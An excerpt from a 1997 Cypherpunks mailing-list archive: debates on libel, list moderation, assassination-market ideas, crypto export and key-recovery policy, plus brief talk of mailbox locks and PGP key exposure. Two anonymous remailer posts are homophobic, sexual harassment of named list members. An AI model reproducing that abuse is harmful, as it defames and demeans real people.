ECONOMIC system must have some minimum standards on what is allowed. By no
means do I hold that the ONLY means of a free and open society is a democracy.
It is quite possible to have an anarchy which would also be a free and open
society and by DEFINITION would tolerate any action by its members acting 
individualy or in concert.

I hold that for a democratic society to retain concepts of freedom and
equity under the law as well as be economicaly viable, especialy in an
environment where 'reputation' is critical such as a network over which
economic transactions can take place with nothing more than a email order
and a EFT, must not provide ex post facto AND carte blanche protection of
the speech of the citizens. For such a system to operate requires a
'reputation' system to be in place. For such a system to be viable it MUST
protect those reputations otherwise the concept of a 'contract' is
worthless. I DO hold that this system MUST provide a priori protection of
all speech. I further hold that any distinction between the 'government'
and the people of a nation is a false and misleading distinction which is
not in the best interest of the society because it by DEFINITION promotes a
class society which is by definition contrary to the goal of equity under a
democracy. It further provides a mechanism by which the representatives of
the 'state' may claim immunity from the very standards they are charged with
enforcing. This is because the charter of such a society is itself simply a
contract between any arbitrary individual of that society and the sum total
of the remaining citizenry (ie the 'state').

I further hold that one of the current legal practices based on precidence
which MUST be replaced is our system dealing with defamation. I further hold
that our current system of legal representation is inherently  flawed and
prevents equal representation under the law.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com

            




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 18:22:07 -0800 (PST)
To: Phillip M Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199702020129.UAA28314@life.ai.mit.edu>
Message-ID: <32F411DF.75C7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M Hallam-Baker wrote:
> The problem is that you are a crushing bore. You peddle your crackpot
> scheme long after it has been made plain nobody is interested.

  I also thing that the other list members involved in this thread are
'nobodies', but I was too polite to say anything.
 
> Yet another reason to believe you are an FBI agent provocateur.

  I agree. He just strips down to his badge, but never 'comes across'.
 
>         Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 1 Feb 1997 20:14:17 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <v02140b05af19b18d73ac@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>        What the US government will allow to be exported is not "strong
>encryption."  It is encryption only slightly too strong to be broken
>by an amateur effort.  For the right investment in custom hardware, it
>falls quickly.  (500,000 $US = 3.5 hour avg break).
>

Considering Ian's feat you certainly seem to have had your crystal ball in hand.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M Hallam-Baker" <hallam@ai.mit.edu>
Date: Sat, 1 Feb 1997 17:30:38 -0800 (PST)
To: "jim bell" <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199702020129.UAA28314@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


> I'm still waiting for you to explain what you believe to be the "problem"

> for which we are searching a solution.  

The problem is that you are a crushing bore. You peddle your crackpot
scheme long after it has been made plain nobody is interested.

Yet another reason to believe you are an FBI agent provocateur.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lesher <wb8foz@nrk.com>
Date: Sat, 1 Feb 1997 17:35:19 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702020012.QAA01104@toad.com>
Message-ID: <199702020134.UAA08012@nrk.com>
MIME-Version: 1.0
Content-Type: text


Robert Rothenburg 'Walking-Owl' sez:
> 
> 
> > Mail Storage Box keys?
> 
> I think they use combination locks, actually. Supposedly it's the same
> combination nationally too.
> 
> There was an article in 2600 Magazine about that. The locks are 
> actually 'insecure' and you can test every possible combo in about
> 10-20 minutes.

I think you are confusing USPS and FedEx.

USPS uses key locks seemingly designed by Ben Franklin himself.
Look at them someday. FedEx boxes used to have Simplex 926 
5 pushbutton ""locks"" if you stretch the point.

I'm guessing what they lost was a reloader for postage meters.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 20:36:44 -0800 (PST)
To: hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199702020435.UAA27638@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:02 PM 2/1/97 -0800, Toto wrote:
>Phillip M Hallam-Baker wrote:
>> The problem is that you are a crushing bore. You peddle your crackpot
>> scheme long after it has been made plain nobody is interested.
>
>  I also thing that the other list members involved in this thread are
>'nobodies', but I was too polite to say anything.

It's odd that you would say this.  I get that impression ("nobodies") about 
practically EVERY subject discussed here.  Why name this particular one, as 
if it were somehow special?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott <scott-b@ix.netcom.com>
Date: Sat, 1 Feb 1997 20:44:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keystroke sniffer question
Message-ID: <2.2.32.19970202043909.006c8dd0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


How can you detect if there is a keystroke sniffer on your computer.

Is there a file name to look for?

Where do people get them?
=======================================
Scott Bellavance 
scott-b@ix.netcom.com
http://www.netcom.com/~scott-b/homepage.html
=======================================

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzAu56UAAAEEAL8pOdPu2pw5E91f99ByJWT+O1smtcOlIr6GL9TdCbdZ6I2U
UPLl7RL5cV4e3Wv4nIIZiOIePMAUouM5fQZib4vnGpCKM/WxfGQBRGafsq2mlzvE
IKLBrdYhQ5STl/qZIaCKI2+V4hdsvTPaI0PCqGzGoiDv9gbbZ40Gi3F38KqtAAUR
tCtTY290dCBSLiBCZWxsYXZhbmNlIDxzY290dC1iQGl4Lm5ldGNvbS5jb20+
=Hfbk
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 1 Feb 1997 18:58:43 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M Hallam-Baker)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199702020129.UAA28314@life.ai.mit.edu>
Message-ID: <199702020255.UAA16001@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Phillip M Hallam-Baker wrote:
> 
> > I'm still waiting for you to explain what you believe to be the "problem"
> 
> > for which we are searching a solution.  
> 
> The problem is that you are a crushing bore. You peddle your crackpot
> scheme long after it has been made plain nobody is interested.

I am interested.

Who else is?

> Yet another reason to believe you are an FBI agent provocateur.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 21:42:00 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <Pine.GSO.3.95.970202000753.8579C-100000@cp.pathfinder.com>
Message-ID: <32F428CD.AB9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> That question is one for Tim to answer, but I should point out that
> philosophical anarchists are not necessarily opposed to rules, just
> government rules -- which this moderation policy clearly is not.

I've seen this kind of statement so many times I just have to point it
out:  "which this moderation policy *clearly* (emph. mine) is not".

Why is it so clear to you, but not everyone?  Am I missing something?
Didn't Reagan, Bush, North et al make it clear enough to Americans
that much of what the govt. does has been privatized, as if we didn't
know already from the 1970's assassination hearings in the Congress,
or from when Carter fired the 900 security guys and they went to work
for "private" contractors?

I ask you again to look at the motives of the people involved.  John
Gilmore isn't about to waste a second of his personal time "moderating"
this list (who could blame him?), and I can't for the life of me see
a reason why Sandy would want to devote so much time to it.  Have you
or anyone seen a real reason why Sandy would want to do this?  Is he
so devoted to crypto and personal freedom that he'll do *anything* to
eliminate the postings which "threaten" this list, or could there be
some other, hidden motivation?  My long experience in the real world
says that professional people do *not* devote a great deal of their
time to things like this unless there is an *awfully* good reason.

> On Sat, 1 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> > >        clique of Cypherpunks. Anybody is free to do nearly anything,
> > >        just not free to commit others to course of action, or claim
> > >        to speak for the "Cypherpunks" as a group (and this last
> > >        point is unenforceable except through reputation and social
> > >        repercussions).
> > > 3.6.3 "Why isn't the list moderated?"
> > >       ...hardly consistent with many of our anarchist leanings, is it?
> > >       - "No, please, let's not become a 'moderated' newsgroup. This
> > >       would be the end of freedom!

> > Is this why T.C. May hasn't posted in quite a while?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 18:50:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA Material at the National Archives
Message-ID: <1.5.4.32.19970202024456.0072d818@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For access to the 5,000 items declassified under NSA's OPENDOOR
program (http://www.nsa.gov:8080/programs/opendoor), we got 
this answer from the National Archives:

Dear Mr. Young:

This is in response to your electronic mail inquiry of December 20, 1996,
concerning National Security Agency records transferred to the National
Archives.

The material described on the NSA web site was transferred to the
National Archives and made available in April 1996.  We can supply you
with electrostatic (paper) copies of select files for $0.25 per page. 
Please let us know which files you would like copied, and we will send
you a reproduction price quote (please include your mailing address with
all such requests).  We ask that you limit each request to five files.

Should you choose to come to Washington to do research, our records
and microfilm publications are available for consultation without charge in
our research room.  The National Archives at College Park (Archives II),
is located at 8601 Adelphi Road, College Park, Maryland.  If you do not
have a research card, you must apply for one in the reception area. 
Research room hours (except legal holidays) are 8:45 a.m. to 5 p.m.,
Monday and Wednesday; and 8:45 a.m. to 9 p.m., Tuesday, Thursday
and Friday.  Our subject matter specialists are not on duty after 5:15 p.m.
 The research rooms also are open on Saturday from 8:45 a.m. to 4:45
p.m., with a small research room staff present.  Requests for records
must be made before 3:30 p.m. Monday-Friday; no requests can be made
on Saturday.  The telephone number for the Archives II Reference
Branch is 301-713-7250.

Ken Schlessinger
Archives II
Textual Reference Branch
National Archives at College Park
8601 Adelphi Rd
College Park, MD  20740-6001

kenneth.schlessinger@ARCH2.NARA.GOV







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 20:00:16 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC1053.485521C0@king1-06.cnw.com>
Message-ID: <32F42C19.50EA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?

  I value Reason (big 'R'), humor (small 'h'), and A/ambiguity (take
your
pick).

  Anarchy is only a pause between dictators. Fascism is necessary to
remind
us not to take freedom for granted.
  One should call for 'order' during the rein of anarchy and for
'freedom 
during times of Fascism.

  I have 'appeared' and/or 'come out of lurking' on the CypherPunks list
at various times since it's inception, under various personas. Few have
noticed, and fewer, still, have ever accurately described, as you have,
what I truly value about the CypherPunks--"a unique group of stray
cats."
  The CypherPunks have, over the years, weathered varying sorts of 
'problems' in the development of the list, as a result of various
'voices
of Reason' prevailing in the setting the list's direction--even when
those 'voices' were diametrically opposed in their beliefs.
  What currently threatens the list, in my opinion, is not the
dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in 
general, whom 'I' perceive as being on the 'other side' of an issue).

  If the day comes when I am able to file away the CypherPunks list
under this-or-that category, then I will put a tombstone in the file, as
well, and put flowers in it once a year.

Toto
> Side note:
> Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.
> 
>     ..
> Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 22:00:20 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <01BC108B.EE831D80@king1-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Greg Broiles

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)
..................................................................


Heh -  Jim B. and Jim C.:  the Yin & Yang of Society At Large.
What could a discussion between them produce.

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 1 Feb 1997 20:16:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702020418.WAA01210@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Nobody has a problem with your ideals, it's just that Jim Bell is
> trying to say (correct me and forgive me if I'm wrong) that:
> 
> 1. Society will never subscribe to your ideals.

But other than two points they already do. The two points being,

1. Libel is a recognized legal concept now, the difference is one of degree.
   That degree of difference being how much money there is available for
   the lawyer and their willingness to enforce the concepts of justice in
   the society based upon their perceived ability to profit by it.

2. The extension of acceptance of reasonable legal representation by lot
   from not only the defence but also the prosecution.

My solutions to these two issues are:

1.  Removal of the lawyer from the ultimate choice of whether the case
    should be pursued.

2.  The minimalization of the defendants and plaintiffs monetary resources
    by removing them from the legal system by choosing the legal
    representation of both parties by lot.

3.  By moving the responsibility of police to provide evidence from the
    prosecution to the court we equalize the impact of irregularities
    in evidence selection as well as minimizing the sorts of evidence
    disputes which so impact some trials (ie OJ Simpson).

4.  By the implimentation of a bond proviso on the part of the plaintiff
    the system provides a check and balance reducing nuisance cases as
    well as reducing the taxation load on the citizenry.
 
> 2. Society is not static, i.e., instead of remaining at a constant
>    level of corruption, the officials will keep demanding more,
>    until there's a sudden, catastrophic break.

Absolutely, that is one of the reasons I refuse to seperate those who
represent the social contract (eg the Constitution) and those who are
impacted by it, which includes even those who represent it and enforce its
various responsibilities. AP relies on this distinction as axiomatic. This
axiomatic view is ultimately based in a jealous greed for what others have
(ie power, percieved or real) and the implicit belief that all people are
NOT created equal.

> 3. The AP solution has the potential to stabilize the level of
>    corruption, which should make violent revolutions and genocide
>    unnecessary.

But it doesn't. What it does is provide a mechanism for de-stabalization.
Just look at the Middle East and the history of assassination.
Assassinations have never stabalized that region or any other. There is
nothging in our current understanding of human psychology and social
interactions that leads to the conclusion that threats of violence will
necessarily force people to comply. If it did the government (as perceived
by AP) would not have to deal with real opposition. Simply threaten the
opposition and it melts away for the same reason that supposedly the
government would cease to oppose radicalism (ie changes in the status quo
forced by small groups upon the masses). If anything every real world
example of AP demonstrates an increase in corruption (eg. Beirut).

The closest analog in history to AP is the "Flowery Wars" as practiced by
the Aztecs. However, these were motivated by a belief in religous homogeneity
and not one of politics. Also, implicit in this was the axiomatic acceptance
of a real class seperation between those who ruled and those who were ruled.
By no means could one accept the premise that this caused the Aztec rulers
to be more sensitive to corruption or the continued existance of their
system. Another good example is assassination in ancient Rome, it is clear
that such activities in no way reduced corruption.

If anything AP provides a rationale (ie self-defence) to impose even harsher
a priori conditions on sections of a society by another part of that society.
Hardly what I would consider a stabalizing condition let alone democratic.
What is required for stability is for each group to feel unthreatened and
secure in expressing their beliefs without fear of reprisals and at the same
time recognizing they must provide room for others beliefs. There must also
be the realization that refusal to abide by these precepts will be met with
immediate consequences. Something AP can't do, as it explicitly promotes
threats and the carrying out thereof.

On another issue, it was asked what purpose there is in suing a poor person.
Simple lack of monetary wealth should be no more reason to exempt a party
from justice than having large quantities. A citizen should face the
consequences of their actions, how rich or poor they are is an irrelevant
issue.

Concepts required for a true working democracy:

Liberty
Justice
Equality
Fraternity


                                                         Jim Choate
                                                         CyberTects
                                                         ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 20:34:10 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Libel, Times v. Sullivan
In-Reply-To: <199702020313.TAA20622@mail.pacifier.com>
Message-ID: <32F431BA.DBF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> Your last paragraph looks like an exercise of the silly game the TV show "60
> minutes" producers often play when they read the letters from the audience
> about a previous report on a controversial subject.  They first read a
> letter from an outraged viewer who claims that the TV show's producers must
> have been biased in one direction, and then they read another letter from a
> different viewer who alleges they showed a bias in the opposite direction.
> The show is trying to leave you with the impression that they MUST have been
> unbiased, because they are being accused of diametrically opposite leanings.

  Sounds suspiciously like Sandy's approach to 'fair' moderation, to me.
 
> All they are really showing is that given the hundreds and probably
> thousands of letters they receive on each show weekly (which are, by
> definition, written by self-motivated people) they can get at least one on
> each end of the spectrum for whatever subject they've just covered.

  Perhaps they author these 'letters' themselves:
  "I agree wholeheartedly with the position espoused by '60 Minutes'.
and,
  "I don't not think maybe dat dese guys are write, nohow."

> A clue is present in the likely fact that the origins of defamation laws
> were primarily to keep the king and the upper-crust free of printed and
> verbal attack directed by the lower-classes, even given the presence of
> whatever nominal "free-speech" guarantees were present.

  Next thing you know, saying, "The king is fucking the queen.", is
libel
and defamation. Go figure...

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 23:50:25 -0800 (PST)
To: Raph Levien <raph@cs.berkeley.edu>
Subject: Re: How I Would Ban Strong Crypto in the U.S.
In-Reply-To: <ae0efb9f020210046227@[205.199.118.202]>
Message-ID: <3.0.1.32.19970201223051.00685d20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:58 AM 7/15/96 -0400, about six months ago, when Clipper III was new,
Raph Levien wrote:
>1. The battle over whether applications can contain strong encryption 
>algorithms has basically been lost. For example, SSL-enabled 
>applications are widely available over the world, thanks in large part 
>to the work of Eric Young. The same will happen for any other encryption 
>protocol that catches on.

Unfortunately, the Government hasn't given up on this one;
Peter Gutman's recent articles on export policy in New Zealand and
Australia suggest that Our Public Servants are trying an end-run
by getting those countries to stop export and development by productive 
crypto authors, targeting the toolkits that are being widely used
inside and outside the US.

>2. The battle for key management has not yet been fought. 

Yeah.  I haven't heard much from Clipper III recently,
since they've been trumpeting Clipper IV "Key Recovery" recently,
but that doesn't mean it's not going on.  Unlike politican efforts
such as Key Recovery, infrastructure attacks such as PKI
may require long-term technical development - the Cooperative
Research and Development Alliances (CRADAs) are not just to
bribe otherwise-valuable companies to stay out of the way,
they're to do things that may be sprung on us later;
I'd predict this coming summer.  For instance, back in July,
John Young quoted a Business Wire article about
 =  Toronto -- Certicom Corp. a leading information security 
 =  company, today announced that it will participate in an 
 =  initiative by the U.S. Commerce Department's National 
 =  Institute of Standards and Technology (NIST) which will 
 =  lead to the development of the elements of a public key 
 =  infrastructure (PKI).  
Certicom are the folks who do Elliptic Curve Cryptosystems,
which haven't been used much due to patent questions and 
RSA's dominance, but which allow much shorter public keys
and may have some speed advantages, both of which are
quite important for smartcard use.

>3. Anybody can write an application that supports strong encryption 
>algorithms. Witness SSH, a very impressive and useful program, which was 
>basically done by one person, Tatu Ylonen. However, building a key 
>management infrastructure will take lots of money, hard work, and 
>cooperation.
....
>4. Thus, the best leverage for the TLAs to win is to guide the 
>development of a key management infrastructure with the following 
>property: if you don't register your key, you can't play. I believe that 
>this is the true meaning of the word "voluntary:" you're free to make 
>the choice not to participate.
..
>6. Export is a two player game. The other country has to allow import of 
>the stuff, too. If the Burns bill passes, the "administration" would 
>strong-arm other countries to prohibit import of strong crypto, still 
>leaving US developers with no market.

It failed, and they've now got an Ambassador strong-arming other countries
to prohibit export.

>7. Building this stuff is too much of a task for the TLAs. They tried it 
>with Clipper, and it failed. They hoped that building the Tessera card 
>would be enough - that once they threw it over the wall, it would be 
>eagerly snapped up by industry.

>8. Thus, they're going to cajole, bribe, and coerce software companies 
>to play along. This fact is quite nakedly exposed in the document (good 
>thing the injunction against the CDA is still in force :-).

Yeah.  Clipper IV is getting a lot of people jumping on the bandwagon
to get export permission for their 56-bit software.  Many of the people
who are most vocal about it are the usual suspects anyway, but it's
closer to commercial usability that industry's more cooperative this round,
especially with more Internet money fever.

>> Don't be fooled.
>Who? Us cypherpunks?
>Raph
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 22:30:00 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <01BC108F.F7C3BFE0@king1-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  What currently threatens the list, in my opinion, is not the dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in
general, whom 'I' perceive as being on the 'other side' of an issue).
........................................................................

Who are these sheep you're talking about?   At the end of the trial period, 
anyone still on the list who doesn't like the moderation can at their 
leisure either protest vehemently its continuation, producing masterly 
works of eloquence in favor of continuing the free-for-all, or they can 
unsubscribe (sp?).    They *don't* have to take it, or identify with the 
cpunks any longer.

I think what threatens the list is the absence of really major issues to 
fire up everyone's sense of indignation & imagination, plus the fact that 
many of the long-timers are pretty sophisticated on all the political 
issues which have been discussed before (how many of Tim May's long 
treatises, engaging, thorough, and relevant as they may be, can one read 
yet again without recognizing the repetitive themes therein), plus a lack 
of interest in engaging in rhetorical arguments with people who find it 
difficult to think in a straight line.   Sometimes the posts on the list 
come to resemble more attempts at educating the clueless than discussions 
among peers which could truly advance an understanding of between fine 
points of difference.

Whom can one blame for what does not exist (on the list) -  there is no 
mechanism for its production; only the attractions of the subject and the 
aim, are what bring in the participants who could provide substance and 
depth.

Perhaps waxing lyrical on the features of Eudora and regular reminders on 
the benefits of mail filtering would be encouraging to "the timid"?

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 22:47:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702020229.SAA04750@toad.com>
Message-ID: <199702020647.WAA00216@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher <wb8foz@nrk.com> writes:

> USPS uses key locks seemingly designed by Ben Franklin himself.
> Look at them someday. FedEx boxes used to have Simplex 926 
> 5 pushbutton ""locks"" if you stretch the point.

Don't let the old-fashioned look deceive you.  Most mail storage boxes
use lever tumbler locks (similar to what's used in safe deposit
vaults, though obviously the mailbox locks have a flimsier plug).
Lever tumbler locks are in general much harder to pick than pin
tumbler locks (the kind on most doors).




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 22:50:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Media seekers, reputation and banishment
Message-ID: <199702020650.WAA00961@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimwit Vibrator K>ock<OfTheMoment wears satin lingerie
embroidered with pink swastikas, prancing around for his
homosexual, AIDS infected lovers.

       D\___/\
        (0_o)   Dr.Dimwit Vibrator K>ock<OfTheMoment
         (V)
  ---oOo--U--oOo---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 1 Feb 1997 19:51:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199702020156.RAA13867@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970201224616.410A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 1 Feb 1997, jim bell wrote:

> At 12:52 PM 2/1/97 -0500, Mark M. wrote:
> >On Sat, 1 Feb 1997, Peter J. Capelli wrote:
> >
> >> 	You mean to say, rich people can overcrowd the courts as much as they
> >> like, while others are restricted by contigency-only lawyers ( Call 
> >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> >> control
> >> a poor one with many frivolous lawsuits ... while they can afford to file 
> >> lawsuit after lawsuit, the poor person cannot defend himself.
> >
> >What, exactly, would be the point of suing a poor person?
> 
> To quiet him from political dissent, presumably.  I think the term coined a 
> few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
> Public Policy," or similar.

I should point out that in my previous post, I was refering to the specific
instance of libel -- not any general lawsuit.  I can think of very few
instances where a rich person would sue someone without the resources to even
defend himself for libel just to harass the defendant.  I'm sure there are a
few cases, but it wouldn't be worth the plaintiff's time or money.  I would be
interested if anyone knows of any specific examples of this.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvQQAyzIPc7jvyFpAQFAfQgAp5qsAm9LZdXeR3+8s4LkUv5qH6Ju8Rda
te3EJ90gjHxDcv/QRopQ3fRM5KzsHgr5JqPRWDFF0Zo3CxbRsB8x/CK3aIo2axpt
xEAeA/TT3oBWOCXFs2fVR6dCy4XAMh4e/q58kNnDqqUnJNBgto5kr8Hp4op9Ypgi
WO0G0Su6L8JuBwnui6Ni5XxHSBchBwu6Z0Jv0TFrG43lnS++K+UriX9cIYxR8JVH
roUg/9SDCZysmuEvNh8VMLAd492wD2jhge4LiiYaSNWrpe5JD2jA/nJ9Olevpu3v
4+75YOpRIgHAugMyl/bbNZgTjStoLUicHATyt7PLEUtj/sbmPbakkQ==
=qrVu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 23:02:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Cypherpunks Shooting Club
Message-ID: <199702020701.XAA02955@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dense Vomit is so in love with himself, he cries out his own
name when orgasming. Then again, no one else is ever around.

            __[I]__
              o-o'
       __oOo__(-)_oOo__ Dense Vomit
               V






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 21:50:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702012055.MAA26123@toad.com>
Message-ID: <9gDH2D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> >> My computer went into the shop a few days ago, and I was unable to take
> >> my PGP keys off it before it went in.  What are the security risks here?
> >> If the repairman chooses to snoop through the files, what would he be
> >> able to do with my key pair?  Will I need to revoke the key and make a
> >> new one, or will I be relatively safe since he doesn't have my
> >> passphrase?
>
> Passphrases are MD5-hashed into 128-bit IDEA keys and used to
> encrypt the secret key; there's a "pgpcrack" program out there
> that does dictionary-style searches to find if you've got
> wimpy passphrases.  So if your passphrases is "secret", you lose,
> but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
> you're probably pretty safe, unless that's written on the yellow
> sticky you left on the side of the PC.
>
> On the other hand, if the "repairman" replaced your pgp executable
> with version 2.6.3kgb, which uses your hashed passphrase as the
> session key, you're hosed.  Or if he installed a keystroke sniffer,
> or added a small radio transmitter to your keyboard, or whatever.
> Depends on your threat model.  If you need to be paranoid,
> they've already gotten you....

If you're really paranoid, you can boot from a clean floppy and
reinstall everything from your backup tapes. You do have a
contingency plan in case your hard disk goes bad, or gets a
virus, don't you? Well, if you're in doubt, exercise it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 21:17:23 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020201.UAA00977@einstein>
Message-ID: <32F4401E.3F73@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> 
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

  I have waited, with bated breath, for you to take a position which is 
short, concise, and well-reasoned. Well, you finally did, but you just
couldn't leave it alone, could you?
  I think that what you have written (above) is a valid and meaningful
